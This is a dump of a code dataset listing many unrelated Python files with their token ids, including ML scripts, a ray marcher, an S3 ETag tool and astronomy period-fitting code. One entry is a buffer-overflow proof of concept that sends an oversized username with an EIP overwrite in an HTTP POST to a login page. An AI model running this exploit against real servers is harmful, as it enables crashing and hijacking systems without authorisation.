content
stringlengths 1
1.04M
| input_ids
sequencelengths 1
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| ratio_char_token
float64 0.38
22.9
| token_count
int64 1
774k
|
|---|---|---|---|
import tensorflow as tf
import numpy as np
import scipy.io as scio
import math as ma
import multiprocessing as mp
from tensorflow.contrib import layers
import time
import os
main()
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from keras.preprocessing import image
import requests
import numpy as np
from keras.applications.vgg16 import VGG16, preprocess_input, decode_predictions
model = VGG16(include_top=True, weights='imagenet', input_tensor=None, input_shape=None)
model.summary()
#画像をダンロードするための関数
if __name__ == '__main__':
#画像のダウンロード
# url = 'https://cdn.pixabay.com/photo/2016/03/05/19/02/hamburger-1238246_1280.jpg'
# file_name = 'hamburger.jpg'
file_name = 'キャプチャ.JPG'
# download_img(url, file_name)
img = image.load_img(file_name, target_size=(224, 224))
# 読み込んだPIL形式の画像をarrayに変換
ary = image.img_to_array(img)
#サンプル数の次元を1つ増やし四次元テンソルに
ary = np.expand_dims(ary, axis=0)
#上位5を出力
preds = model.predict(preprocess_input(ary))
results = decode_predictions(preds, top=5)[0]
for result in results:
print(result) | [
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from typing import Any, Dict, Tuple
from qcengine.exceptions import InputError
def format_keywords(keywords: Dict[str, Any]) -> str:
"""Form keywords deck from dictionary `keywords` where keys are CFOUR keyword ("__" separating
any nested-module keywords) strings and values are Python formatted.
"""
text = []
keywords = {k.upper(): v for k, v in keywords.items()}
for key, val in sorted(keywords.items()):
text.append("=".join(format_keyword(key, val)))
text = "\n".join(text)
text = "\n\n*CFOUR(" + text + ")\n\n"
return text
def format_keyword(keyword: str, val: Any) -> Tuple[str, str]:
"""Reformat keyword's value from Python into CFOUR-speak. Arrays are the primary target."""
keyword = keyword.upper()
# Transform booleans into integers
if val is True:
text = "1"
elif val is False:
text = "0"
# Transform list from [[3, 0, 1, 1], [2, 0, 1, 0]] --> 3-0-1-1/2-0-1-0
elif isinstance(val, list):
if type(val[0]).__name__ == "list":
if type(val[0][0]).__name__ == "list":
raise InputError("Option has level of array nesting inconsistent with CFOUR.")
else:
# option is 2D array
text = "/".join("-".join(map(str, no)) for no in val)
else:
# option is plain 1D array
if keyword in ["ESTATE_SYM", "CFOUR_ESTATE_SYM"]:
# [3, 1, 0, 2] --> 3/1/0/2
text = "/".join(map(str, val))
else:
# [3, 1, 0, 2] --> 3-1-0-2
text = "-".join(map(str, val))
# Transform the basis sets that *must* be lowercase
elif keyword in ["CFOUR_BASIS", "BASIS"] and val.upper() in [
"SVP",
"DZP",
"TZP",
"TZP2P",
"QZ2P",
"PZ3D2F",
"13S9P4D3F",
]:
text = str(val.lower())
# No Transform
else:
text = str(val).upper()
return keyword, text
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] | 2.138264 | 933 |
# -*- coding: utf8 -*-
"""
Tests for the encoding library.
Author: Eduardo Ferreira
License: MIT (see LICENSE for details)
"""
import unittest
class EncodeTests(unittest.TestCase):
"""
Tests for the encoding library.
"""
def test_dummy(self):
"""
Dummy test method.
"""
self.assertEqual(True, True)
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7,
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8,
198
] | 2.385135 | 148 |
from configcrunch.tests.acceptance.testcases import ConfigcrunchTestCase
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# Copyright 2021 The MLX Contributors
#
# SPDX-License-Identifier: Apache-2.0
from kfp import dsl
from kfp_tekton.compiler import TektonCompiler
from kfp_tekton import TektonClient
from os import path
from tempfile import gettempdir
############################################################
# Define the pipeline method
############################################################
@dsl.pipeline(
name='${name}',
description='${description}'
)
############################################################
# Compile the pipeline
############################################################
pipeline_function = kfp_component_pipeline
pipeline_filename = path.join(gettempdir(),
pipeline_function.__name__ + '.pipeline.tar.gz')
TektonCompiler().compile(pipeline_function, pipeline_filename)
############################################################
# Run the pipeline
############################################################
# TODO: specify pipeline argument values
arguments = ${parameter_dict}
client = TektonClient(${pipeline_server})
# Get or create an experiment and submit a pipeline run
experiment = client.create_experiment('COMPONENT_RUNS')
# Submit the experiment to run in a pipeline
run_name = '${run_name}'
run_result = client.run_pipeline(experiment.id, run_name, pipeline_filename, arguments)
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62,
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62,
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8,
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] | 3.39372 | 414 |
from .client import BaseAPI, CorporateAPI, PersonalAPI
from .errors import Error, TooManyRequests
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from parse_one_paged import parse_one_paged
AVAILABLE_SITES = [
{
'name': 'make up',
'url': 'https://makeup.com.ua/brand/1771098/',
'product_class': '.simple-slider-list__link',
'name_class': '.simple-slider-list__name',
'price_class': '.simple-slider-list__price',
'type': 'one-paged'
}
]
headers_example = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36',
}
if __name__ == "__main__":
collect_data()
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834,
1298,
198,
220,
220,
220,
2824,
62,
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198
] | 2.146718 | 259 |
KEY_PARTS_OF_SPEECH = ["ADJ", "NOUN", "NUM", "VERB", "X"]
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] | 1.933333 | 30 |
# 绘图相关包
from PyQt5.Qt import *
from pyqtgraph import PlotWidget
from PyQt5 import QtCore
import numpy as np
import pyqtgraph as pq
# 绘图相关包
import cv2
import math
import torch
import pyrealsense2 as rs
#人体姿态估计相关包
from models.with_mobilenet import PoseEstimationWithMobileNet
from modules.keypoints import extract_keypoints, group_keypoints, BODY_PARTS_KPT_IDS, BODY_PARTS_PAF_IDS
from modules.load_state import load_state
from modules.pose import Pose, track_poses
from val import normalize, pad_width
KPTS_ANGLE_PAIRS = [[2,3,4], [5,6,7], [8,9,10], [14,15,16], [9,10,12], [15,16,18]]
# Q为这一轮的心里的预估误差
Q = 0.00001
# R为下一轮的测量误差
R = 0.1
# Accumulated_Error为上一轮的估计误差，具体呈现为所有误差的累计
Accumulated_Error = np.ones(6, np.float32)
# 初始旧值
kalman_kpt_old = np.zeros(6, np.float32)
SCOPE = 50
# 数据左移
if __name__ == '__main__':
import sys
# PyQt5 程序固定写法
app = QApplication(sys.argv)
# 将绑定了绘图控件的窗口实例化并展示
window = Window()
# window.show() #TODO: 这个会多出一个空白窗口，注释掉就不会出现了
# PyQt5 程序固定写法
sys.exit(app.exec()) | [
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243,
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198,
220,
220,
220,
25064,
13,
37023,
7,
1324,
13,
18558,
28955
] | 1.550933 | 697 |
import datetime
nascimento = int(input('Digite seu ano de nascimento: '))
anoAtual = datetime.date.today().year
idade = anoAtual - nascimento
print('A idade do atleta é {}'.format(idade))
if idade <= 9:
print('A categoria do atleta é MIRIM')
elif idade > 9 and idade <= 14:
print('A categoria do atleta é INFANTIL')
elif idade > 14 and idade <= 19:
print('A categoria do atleta é JUNIOR')
elif idade > 19 and idade <= 25:
print('A categoria do atleta é SÊNIOR')
else:
print('A categoria do atleta é MASTER')
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from django.test import TestCase
from .models import WikiGame, WikiTermos
from .csv_data_extracter import extract_data_from_csv, save_termos, save_wikigame, extract_termos_from_string, refresh_wikigame_model | [
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# -----------------------------------------------------------------------------
# Copyright (c) 2015, Nicolas P. Rougier. All Rights Reserved.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
# -----------------------------------------------------------------------------
import numpy as np
import matplotlib.pyplot as plt
# New figure with white background
fig = plt.figure(figsize=(6,6), facecolor='white')
# New axis over the whole figureand a 1:1 aspect ratio
ax = fig.add_axes([0.005,0.005,.99,.99], frameon=True, aspect=1)
# Number of ring
n = 50
size_min = 50
size_max = 50*50
# Ring position
P = np.random.uniform(0,1,(n,2))
# Ring colors
C = np.ones((n,4)) * (0,0,0,1)
# Alpha color channel goes from 0 (transparent) to 1 (opaque)
C[:,3] = np.linspace(0,1,n)
# Ring sizes
S = np.linspace(size_min, size_max, n)
# Scatter plot
scat = ax.scatter(P[:,0], P[:,1], s=S, lw = 0.5,
edgecolors = C, facecolors='None')
# Ensure limits are [0,1] and remove ticks
ax.set_xlim(0,1), ax.set_xticks([])
ax.set_ylim(0,1), ax.set_yticks([])
# plt.savefig("../figures/rain-static.png",dpi=72)
plt.show()
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] | 2.66055 | 436 |
"""Main application unittests."""
from fastapi.testclient import TestClient
from app.main import app
client = TestClient(app)
def test_docs():
"""Return HTML docs for root route."""
response = client.get('/')
assert response.status_code == 200
assert response.headers['content-type'].startswith('text/html')
| [
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] | 3.215686 | 102 |
from gazette.spiders.base import FecamGazetteSpider
| [
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import config
import json
import traceback
import requests
# maximum length of an error message to be stored
# excessive error messages might make it properly to the manager
MAX_ERROR_LENGTH = 2 * 1024 * 1024
# create an instance for export
Manager = Manager_Service()
| [
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import argparse
import os
from bld2repo import (get_buildrequire_pkgs_from_build, add_rpm_urls, rpm_bulk_download,
create_repo)
from bld2repo.config import Config
from bld2repo.utils import get_koji_session
if __name__ == "__main__":
main()
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] | 2.353448 | 116 |
from rllab.envs.mujoco.gather.gather_env import GatherEnv
from sandbox.finetuning.envs.mujoco.swimmer_unevenfloor_env import SwimmerUnevenFloorEnv
if __name__ == "__main__":
env = SwimmerGatherUnevenFloorEnv()
while True:
env.reset()
for _ in range(1000):
env.render()
_, reward, _, _ = env.step(env.action_space.sample()) # take a random action
# env.reset()
# frames = []
# for i in range(5):
# print(i)
# frames.append(env.render(mode='rgb_array'))
# _, reward, _, _ = env.step(env.action_space.sample()) # take a random action
#
# import skvideo.io
# import numpy as np
# output_data = np.array(frames)
# import IPython; IPython.embed()
# output_data = output_data.astype(np.uint8)
# import os.path as osp
# import rllab.config as config
#
# output_path = osp.join(config.PROJECT_PATH, "data/local/outputvideo.mp4")
# skvideo.io.vwrite(output_path, output_data) | [
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62,
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7,
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62,
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11,
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14,
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19,
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198,
220,
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] | 2.291954 | 435 |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^(?P<strategy_name>[-\w]+)/(?P<pk>\d+)/$', views.AjaxBaseSerializedView.as_view(),
name='django-easy-ajax-selector'),
]
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] | 2.164948 | 97 |
import copy
import math
import numpy
from tqdm import tqdm
import matplotlib.pyplot as plt
#A class for three-dimentional vector operations; using numpy arrays and their operations was found to be slower.
#Returns the unit vector pointing from the location represented by fromVector to the location represented by toVector.
#Returns the direction that the original ray used in rayMarch should be in in order to correspond to a certain pixel in the image given by the coordinates
#pixelX,pixelY. The camera is assumed to be a pinhole comera with an infinitely small aperture.
#An infinite flat plane described by the equation ax+by+cz+d=0
#Determines the total intensity of red, green and blue light impacting point rayOrigin using the ray marching algorithm.
aspectRatio=1.0
imageHeight=50
imageWidth=int(aspectRatio*imageHeight)
fieldOfView=math.pi/2.0
cameraLocation=Vector3D(0.0,0.0,0.0)
screenDistance=(0.5*aspectRatio)/(math.tan(fieldOfView/2.0)) #The screen is assumed to have a height of 1 unit, meaning that it's width is equal to "aspectRatio".
imageData=numpy.zeros(shape=(imageHeight,imageWidth,3))
minimumCollisionDistance=0.005
maximumRayMarchStepCount=400
maximumRayMarchDistance=300.0
maximumRecursiveDepth=7
minimiseDiffuseInterreflections=True
#The scene is created below
ground=Plane(a=0.0,b=1.0,c=0.0,location=Vector3D(0.0,-2.0,0.0),colour=Vector3D(255.0,70.0,40.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
backWall=Plane(a=0.0,b=0.0,c=-1.0,location=Vector3D(0.0,0.0,40.0),colour=Vector3D(170.0,180.0,250.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
leftWall=Plane(a=1.0,b=0.0,c=0.0,location=Vector3D(-20.0,0.0,-0.0),colour=Vector3D(230.0,240.0,50.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
rightWall=Plane(a=-1.0,b=0.0,c=0.0,location=Vector3D(20.0,0.0,20.0),colour=Vector3D(230.0,240.0,50.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
frontWall=Plane(a=0.0,b=0.0,c=1.0,location=Vector3D(0.0,0.0,-40.0),colour=Vector3D(100.0,190.0,170.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
topLight=Plane(a=0.0,b=-1.0,c=0.0,location=Vector3D(0.0,30.0,0.0),colour=Vector3D(255.0,255.0,255.0),diffuse=True,refractiveIndex=1.0,brightness=1.0)
sphere1=Sphere(location=Vector3D(-2.0,-0.25,5.0),radius=1.5,colour=Vector3D(215.0,250.0,190.0),diffuse=False,refractiveIndex=1.5,brightness=0.0)
sphere2=Sphere(location=Vector3D(0.5,1.0,6.0),radius=1.2,colour=Vector3D(255.0,255.0,255.0),diffuse=False,refractiveIndex=100.0,brightness=0.0)
sphere3=Sphere(location=Vector3D(1.5,0.6,3.0),radius=0.5,colour=Vector3D(80.0,40.0,120.0),diffuse=True,refractiveIndex=1.0,brightness=0.0)
sphereLight1=Sphere(location=Vector3D(15.0,8.0,-5.0),radius=0.01,colour=Vector3D(255.0,255.0,255.0),diffuse=True,refractiveIndex=1.0,brightness=2500000.0)
objectList=[ground,backWall,leftWall,rightWall,frontWall,topLight,sphere1,sphere2,sphere3,sphereLight1]
#These loop through every pixel in the image.
for pixelX in tqdm(range(0,imageWidth)):
for pixelY in range(0,imageHeight):
currentPixelColour=Vector3D(0.0,0.0,0.0)
rayDirection=getCameraRayUnitVector(pixelX=pixelX,pixelY=pixelY,imageWidth=imageWidth,imageHeight=imageHeight,cameraLocation=cameraLocation,
aspectRatio=aspectRatio,screenDistance=screenDistance)
currentPixelColour+=marchRay(currentRecursiveDepth=0,rayOrigin=cameraLocation,originObject=None,rayDirection=rayDirection,objectList=objectList,
minimumCollisionDistance=minimumCollisionDistance,maximumRayMarchStepCount=maximumRayMarchStepCount,maximumRayMarchDistance=maximumRayMarchDistance,
maximumRecursiveDepth=maximumRecursiveDepth,minimiseDiffuseInterreflections=minimiseDiffuseInterreflections)
imageData[(imageHeight-1)-pixelY,pixelX,:]=[currentPixelColour.x,currentPixelColour.y,currentPixelColour.z] #Y axis is inverted so the image is displayed the correct way up while using imshow().
#The RGB intensity values are scaled from 0 to 1 so they can be interpreted correctly by the imshow() function.
imageDataMaximumValue=numpy.amax(imageData)
imageData/=imageDataMaximumValue
plt.imshow(imageData)
plt.show() | [
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8600,
12332,
28,
47033,
19591,
16192,
8600,
12332,
11,
47033,
19591,
16192,
45767,
28,
47033,
19591,
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11,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5415,
6690,
30753,
48791,
28,
47033,
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30753,
48791,
11,
1084,
320,
786,
28813,
1904,
9492,
5420,
26448,
28,
1084,
320,
786,
28813,
1904,
9492,
5420,
26448,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2939,
6601,
58,
7,
9060,
23106,
12,
16,
13219,
32515,
56,
11,
32515,
55,
11,
25,
22241,
58,
14421,
40809,
5216,
454,
13,
87,
11,
14421,
40809,
5216,
454,
13,
88,
11,
14421,
40809,
5216,
454,
13,
89,
60,
1303,
56,
16488,
318,
37204,
523,
262,
2939,
318,
9066,
262,
3376,
835,
510,
981,
1262,
545,
12860,
22446,
201,
198,
201,
198,
201,
198,
2,
464,
25228,
12245,
3815,
389,
27464,
422,
657,
284,
352,
523,
484,
460,
307,
16173,
9380,
416,
262,
545,
12860,
3419,
2163,
13,
201,
198,
9060,
6601,
40541,
11395,
28,
77,
32152,
13,
321,
897,
7,
9060,
6601,
8,
201,
198,
9060,
6601,
14,
28,
9060,
6601,
40541,
11395,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
201,
198,
489,
83,
13,
320,
12860,
7,
9060,
6601,
8,
201,
198,
489,
83,
13,
12860,
3419
] | 2.378174 | 1,851 |
#// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
#// SPDX-License-Identifier: MIT-0
import sys
import hashlib
if len(sys.argv) !=3:
print("Usage: calc-s3-etag.py {file} {multipart-transfer size}")
print("")
print("Multipart transfersize may be gotten by referencing the .aws/config file or by using the following example commands to examine a large object uploaded to the SBE")
print("aws s3api head-object --bucket {bucketname} --key \"[prefix/]{objectname}\" --endpoint-url {url to SBE device including port}")
print("take the resulting content length and divide it by the number after the dash in the Etag. Take that result and divide it by 1048576")
print("the result will be slightly below the multi-part transfer chunk size measured in MB utilized in the transfer")
sys.exit(0)
mychunksize=int(sys.argv[2]) * 1024 * 1024
print(calculate_s3_etag(sys.argv[1],mychunksize))
| [
2,
1003,
15069,
6186,
13,
785,
11,
3457,
13,
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60,
90,
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92,
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437,
4122,
12,
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1391,
6371,
284,
311,
12473,
3335,
1390,
2493,
92,
4943,
198,
220,
220,
220,
3601,
7203,
20657,
262,
7186,
2695,
4129,
290,
14083,
340,
416,
262,
1271,
706,
262,
14470,
287,
262,
412,
12985,
13,
220,
7214,
326,
1255,
290,
14083,
340,
416,
838,
2780,
37452,
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220,
220,
220,
3601,
7203,
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481,
307,
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262,
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12,
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287,
10771,
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287,
262,
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198,
220,
220,
220,
25064,
13,
37023,
7,
15,
8,
198,
1820,
354,
14125,
1096,
28,
600,
7,
17597,
13,
853,
85,
58,
17,
12962,
1635,
28119,
1635,
28119,
198,
4798,
7,
9948,
3129,
378,
62,
82,
18,
62,
316,
363,
7,
17597,
13,
853,
85,
58,
16,
4357,
1820,
354,
14125,
1096,
4008,
198
] | 3.159864 | 294 |
from startmicro.utils.version import get_version
VERSION = (0, 0, 6, 'alpha', 0)
__version__ = get_version(VERSION)
__author__ = "Munis Isazade <[email protected]>"
| [
6738,
923,
24055,
13,
26791,
13,
9641,
1330,
651,
62,
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198,
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357,
15,
11,
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11,
718,
11,
705,
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651,
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7,
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366,
44,
403,
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1031,
671,
1279,
6199,
271,
271,
1031,
671,
31,
14816,
13,
785,
24618,
198
] | 2.703125 | 64 |
#!/usr/bin/python
import socket
try:
print "\n Sending ""evil"" buffer..."
padding = "A" * 780
eip = "B" * 4
buffer = "C" * 16
payload = padding + eip + buffer
content = "username=" + payload + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 192.168.1.1\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Accept-Encoding: gzip, deflate\r\n"
buffer += "Referer: http://192.168.209.10/login\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "Connection: close\r\n"
buffer += "Upgrade-Insecure-Requests: 1\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buffer)
s.close()
except:
print "Cloud not connect!"
| [
2,
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87,
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26,
80,
28,
15,
13,
24,
11,
9,
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26,
80,
28,
15,
13,
23,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
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366,
38855,
12,
32065,
25,
551,
12,
2937,
11,
268,
26,
80,
28,
15,
13,
20,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
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366,
38855,
12,
27195,
7656,
25,
308,
13344,
11,
825,
17660,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
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366,
8134,
11882,
25,
2638,
1378,
17477,
13,
14656,
13,
22567,
13,
940,
14,
38235,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
15853,
366,
19746,
12,
6030,
25,
3586,
14,
87,
12,
2503,
12,
687,
12,
6371,
12685,
9043,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
15853,
366,
19746,
12,
24539,
25,
43825,
2536,
7,
11925,
7,
11299,
4008,
10,
1,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
15853,
366,
32048,
25,
1969,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
15853,
366,
44948,
12,
818,
22390,
12,
16844,
3558,
25,
352,
59,
81,
59,
77,
1,
198,
220,
220,
220,
220,
220,
220,
220,
11876,
15853,
37082,
81,
59,
77,
1,
628,
197,
22252,
15853,
2695,
628,
197,
82,
796,
17802,
13,
44971,
7,
44971,
13,
8579,
62,
1268,
2767,
11,
17802,
13,
50,
11290,
62,
2257,
32235,
8,
628,
220,
220,
220,
220,
220,
220,
220,
264,
13,
8443,
7,
7203,
17477,
13,
14656,
13,
16,
13,
16,
1600,
4019,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
264,
13,
21280,
7,
22252,
8,
628,
220,
220,
220,
220,
220,
220,
220,
264,
13,
19836,
3419,
198,
198,
16341,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
366,
18839,
407,
2018,
2474,
198
] | 2.123134 | 536 |
import os
from abc import abstractmethod
from functools import partial
import collections
import torch
import torch.nn as nn
import core.util as Util
from core.logger import LogTracker
CustomResult = collections.namedtuple('CustomResult', 'name result')
| [
11748,
28686,
198,
6738,
450,
66,
1330,
12531,
24396,
198,
6738,
1257,
310,
10141,
1330,
13027,
198,
11748,
17268,
198,
198,
11748,
28034,
198,
11748,
28034,
13,
20471,
355,
299,
77,
198,
198,
11748,
4755,
13,
22602,
355,
7273,
346,
198,
6738,
4755,
13,
6404,
1362,
1330,
5972,
35694,
198,
15022,
23004,
796,
17268,
13,
13190,
83,
29291,
10786,
15022,
23004,
3256,
705,
3672,
1255,
11537,
198
] | 3.820896 | 67 |
import argparse
import os
from pathlib import Path
import sys
sys.path.append(str(Path(__file__).parent.parent))
import pandas as pd
from skimage.io import imread, imsave
from joblib import Parallel, delayed
from utils.metrics import *
parser = argparse.ArgumentParser()
parser.add_argument('pred_root')
args = parser.parse_args()
glas_root = Path('~/data/GLAS_all').expanduser()
pred_root = Path(args.pred_root).expanduser()
new_pred_root = pred_root.parent / (pred_root.name + '-new')
if not new_pred_root.exists():
new_pred_root.mkdir()
(new_pred_root / 'testA').mkdir()
(new_pred_root / 'testB').mkdir()
executor = Parallel(n_jobs=os.cpu_count())
print('Test A')
print('\nReading predictions and gts ...')
pred_paths = sorted((pred_root / 'testA').glob('*.bmp'))
predictions = executor(delayed(postprocess)(imread(str(pred_path)) / 255) for pred_path in pred_paths)
gts = executor(delayed(imread)(gt_path) for gt_path in sorted((glas_root / 'testA' / 'masks').glob('*.bmp')))
print('Saving new predictions ...')
for pred, pred_path in zip(predictions, pred_paths):
imsave(new_pred_root / 'testA' / pred_path.name, (pred * 255).astype('uint8'))
metrics = compute_metrics(predictions, gts, pred_paths)
metrics.to_csv(pred_root / 'testA.csv')
print('\nTest B')
print('\nReading predictions and gts ...')
pred_paths = sorted((pred_root / 'testB').glob('*.bmp'))
predictions = executor(delayed(postprocess)(imread(str(pred_path)) / 255) for pred_path in pred_paths)
gts = executor(delayed(imread)(gt_path) for gt_path in sorted((glas_root / 'testB' / 'masks').glob('*.bmp')))
print('Saving new predictions ...')
for pred, pred_path in zip(predictions, pred_paths):
imsave(new_pred_root / 'testB' / pred_path.name, (pred * 255).astype('uint8'))
metrics = compute_metrics(predictions, gts, pred_paths)
metrics.to_csv(pred_root / 'testB.csv')
| [
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220,
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62,
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33,
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198,
198,
18558,
38409,
796,
42945,
7,
77,
62,
43863,
28,
418,
13,
36166,
62,
9127,
28955,
628,
628,
198,
4798,
10786,
14402,
317,
11537,
198,
198,
4798,
10786,
59,
77,
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290,
308,
912,
2644,
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62,
6978,
82,
796,
23243,
19510,
28764,
62,
15763,
1220,
705,
9288,
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] | 2.664773 | 704 |
import numpy as np
from tqdm import tqdm
import statistics as stats
from astropy import units as u
from scipy.signal import medfilt
from scipy.optimize import curve_fit
from astropy.table import Table, Column
from astropy.timeseries import LombScargle
__all__ = ['MeasureProt']
class MeasureProt(object):
"""
Used for measuring rotation periods.
"""
def __init__(self, IDs, time, flux, flux_err):
"""
Takes in light curve identifiers, time, flux,
and flux errors.
"""
self.IDs = IDs
self.time = time
self.flux = flux
self.flux_err = flux_err
def gauss_curve(self, x, std, scale, mu):
""" Fits a Gaussian to the peak of the LS
periodogram.
Parameters
----------
x : np.array
std : float
Standard deviation of gaussian.
scale : float
Scaling for gaussian.
mu : float
Mean to fit around.
Returns
-------
Gaussian curve.
"""
term1 = 1.0 / (std * np.sqrt(2 * np.pi) )
term2 = np.exp(-0.5 * ((x-mu)/std)**2)
return term1 * term2 * scale
def chiSquare(self, var, mu, x, y, yerr):
""" Calculates chi-square for fitting a Gaussian
to the peak of the LS periodogram.
Parameters
----------
var : list
Variables to fit (std and scale for Gaussian curve).
mu : float
Mean to fit around.
x : np.array
y : np.array
yerr : np.array
Returns
-------
chi-square value.
"""
m = self.gauss(x, var[0], var[1], mu)
return np.sum( (y-m)**2 / yerr**2 )
def fit_LS_peak(self, period, power, arg):
""" Fits the LS periodogram at the peak power.
Parameters
----------
period : np.array
Array of periods from Lomb Scargle routine.
power : np.array
Array of powers from the Lomb Scargle routine.
arg : int
Argmax of the power in the periodogram.
Returns
-------
popt : np.array
Array of best fit values for Gaussian fit.
"""
if arg-40 < 0:
start = 0
else:
start = arg-40
if arg+40 > len(period):
end = len(period)-1
else:
end = arg+40
m = np.arange(start, end, 1, dtype=int)
if arg-20 < 0:
start = 0
else:
start = arg-20
if arg + 20 > len(period):
end = len(period)-1
else:
end = arg+20
subm = np.arange(start, end, 1, dtype=int)
try:
popt = fitting_routine()
except RuntimeError:
popt = np.full(3, np.nan)
# TRIES TO READJUST FITTING WINDOW IF RANGE IS LARGER THAN PERIOD ARRAY
except IndexError:
if np.min(m) <= 0:
m = np.arange(0,arg+40,1,dtype=int)
subm = np.arange(0,arg+20,1, dtype=int)
elif np.max(m) > len(period):
diff = np.max(m) - len(period)
m = np.arange(arg-40-diff, len(period)-diff, 1, dtype=int)
subm = np.arange(arg-20-diff, len(period)-diff-20, 1, dtype=int)
popt = fitting_routine()
return popt
def run_LS(self, minf=1/12.5, maxf=1/0.1, spp=50):
""" Runs LS fit for each light curve.
Parameters
----------
minf : float, optional
The minimum frequency to search in the LS routine. Default = 1/20.
maxf : float, optional
The maximum frequency to search in the LS routine. Default = 1/0.1.
spp : int, optional
The number of samples per peak. Default = 50.
Attributes
----------
LS_results : astropy.table.Table
"""
tab = Table()
periods = np.zeros(len(self.IDs))
stds = np.zeros(len(self.IDs))
peak_power = np.zeros(len(self.IDs))
periods2 = np.zeros(len(self.IDs))
peak_power2 = np.zeros(len(self.IDs))
orbit_flag = np.zeros(len(self.IDs))
orbit_flag1 = np.zeros(len(self.IDs))
orbit_flag2 = np.zeros(len(self.IDs))
for i in tqdm(range(len(self.flux)), desc="Finding most likely periods"):
time, flux, flux_err = self.time[i], self.flux[i], self.flux_err[i]
# SPLITS BY ORBIT
diff = np.diff(time)
brk = np.where(diff >= np.nanmedian(diff)+14*np.nanstd(diff))[0]
if len(brk) > 1:
brk_diff = brk - (len(time)/2)
try:
brk_diff = np.where(brk_diff<0)[0][-1]
except IndexError:
brk_diff = np.argmin(brk_diff)
brk = np.array([brk[brk_diff]], dtype=int)
# DEFINITELY TRIMS OUT EARTHSHINE MOFO
t1, f1 = time[:brk[0]], flux[:brk[0]]#[300:-500], flux[:brk[0]]#[300:-500]
t2, f2 = time[brk[0]:], flux[brk[0]:]#[800:-200], flux[brk[0]:]#[800:-200]
o1_params = per_orbit(t1, f1)
o2_params = per_orbit(t2, f2)
both = np.array([o1_params[0], o2_params[0]])
avg_period = np.nanmedian(both)
flag1 = self.assign_flag(o1_params[0], o1_params[2], o1_params[-1],
avg_period, o1_params[-2], t1[-1]-t1[0])
flag2 = self.assign_flag(o2_params[0], o2_params[2], o2_params[-1],
avg_period, o2_params[-2], t2[-1]-t2[0])
if np.abs(o1_params[1]-avg_period) < 0.5 and np.abs(o2_params[1]-avg_period)<0.5:
flag1 = flag2 = 0.0
if flag1 != 0 and flag2 != 0:
orbit_flag[i] = 1.0
else:
orbit_flag[i] = 0.0
periods[i] = np.nanmedian([o1_params[0], o2_params[0]])
orbit_flag1[i] = flag1
orbit_flag2[i] = flag2
stds[i] = o1_params[-1]
peak_power[i] = o1_params[2]
periods2[i] = o2_params[0]
peak_power2[i] = o1_params[-2]
tab.add_column(Column(self.IDs, 'Target_ID'))
tab.add_column(Column(periods, name='period_days'))
tab.add_column(Column(periods2, name='secondary_period_days'))
tab.add_column(Column(stds, name='gauss_width'))
tab.add_column(Column(peak_power, name='max_power'))
tab.add_column(Column(peak_power2, name='secondary_max_power'))
tab.add_column(Column(orbit_flag, name='orbit_flag'))
tab.add_column(Column(orbit_flag1, name='oflag1'))
tab.add_column(Column(orbit_flag2, name='oflag2'))
tab = self.averaged_per_sector(tab)
self.LS_results = tab
def assign_flag(self, period, power, width, avg, secpow,
maxperiod, orbit_flag=0):
""" Assigns a flag in the table for which periods are reliable.
"""
flag = 100
if period > maxperiod:
flag = 4
if (period < maxperiod) and (power > 0.005):
flag = 3
if (period < maxperiod) and (width <= period*0.6) and (power > 0.005):
flag = 2
if ( (period < maxperiod) and (width <= period*0.6) and
(secpow < 0.96*power) and (power > 0.005)):
flag = 1
if ( (period < maxperiod) and (width <= period*0.6) and
(secpow < 0.96*power) and (np.abs(period-avg)<1.0) and (power > 0.005)):
flag = 0
if flag == 100:
flag = 5
return flag
def averaged_per_sector(self, tab):
""" Looks at targets observed in different sectors and determines
which period measured is likely the best period. Adds a column
to MeasureRotations.LS_results of 'true_period_days' for the
results.
Returns
-------
astropy.table.Table
"""
averaged_periods = np.zeros(len(tab))
flagging = np.zeros(len(tab), dtype=int)
limit = 0.3
for tic in np.unique(self.IDs):
inds = np.where(tab['Target_ID']==tic)[0]
primary = tab['period_days'].data[inds]
secondary = tab['secondary_period_days'].data[inds]
all_periods = np.append(primary, secondary)
# ind_flags = np.append(tab['oflag1'].data[inds],
# tab['oflag2'].data[inds])
avg = np.array([])
tflags = np.array([])
if len(inds) > 1:
try:
